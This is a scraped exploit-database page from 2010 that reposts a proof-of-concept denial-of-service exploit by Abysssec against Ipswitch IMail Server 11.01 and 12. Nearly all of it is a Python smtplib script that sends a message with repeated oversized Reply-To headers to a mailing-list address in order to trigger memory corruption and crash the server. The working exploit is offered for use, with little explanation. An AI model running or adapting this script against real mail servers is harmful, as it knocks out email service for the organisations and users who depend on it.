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[dos / poc] - Ipswitch Imail Server List Mailer Reply-To Add

Posted on 15 September 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Ipswitch Imail Server List Mailer Reply-To Address Memory Corruption | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Exploit category: dos / poc | Exploit author: Abysssec' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>==================================================================== Ipswitch Imail Server List Mailer Reply-To Address Memory Corruption ==================================================================== Title : Ipswitch Imail Server List Mailer Reply-To Address memory corruption Version : Imail server v11.01 and 12 Analysis : http://www.abysssec.com Vendor : http://www.ipswitch.com Impact : Critical Contact : shahin [at] abysssec.com , info [at] abysssec.com Twitter : @abysssec &#039;&#039;&#039; import smtplib sender = &#039;from@fromdomain.com&#039; receivers = [&#039;CrashList@wapteam-f556693&#039;] message = &quot;&quot;&quot;From: From Person &lt;from@fromdomain.com&gt; To: To Person &lt;CrashList@wapteam-f556693&gt; &quot;&quot;&quot; #ReplayCount = 5 #while ReplayCount&gt;0: # message = message + &quot;Reply-To:&quot; counter = 3 while counter&gt;0: # if counter != 50000 : # message = message + &quot;,&quot; #message = message + &quot;Reply-To: &lt;someone&quot;+str(counter)+&quot;@example.org&gt;&quot; message = message + &quot;Reply-To: &quot;+(&quot;A&quot;*200)+&quot;a&quot;*4+&quot;B&quot;*196+&quot;@exam.com&quot; counter = counter - 1 message = message + &quot; &quot; # ReplayCount = ReplayCount - 1 #message = message + &quot; &quot; message = message + &quot;&quot;&quot; Subject: SMTP e-mail test This is a test e-mail message. &quot;&quot;&quot; #print message #fp = open(&quot;C:\Program Files\Ipswitch\IMail\spool\tmp188.tmp&quot;,&quot;w&quot;) #fp.write(message) #fp.close() #print &quot;wrote&quot; try: smtpObj = smtplib.SMTP(&#039;localhost&#039;) smtpObj.sendmail(sender, receivers, message) print &quot;Successfully sent email&quot; except SMTPException: print &quot;Error: unable to send email&quot; # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-15]</pre></body></html>

 

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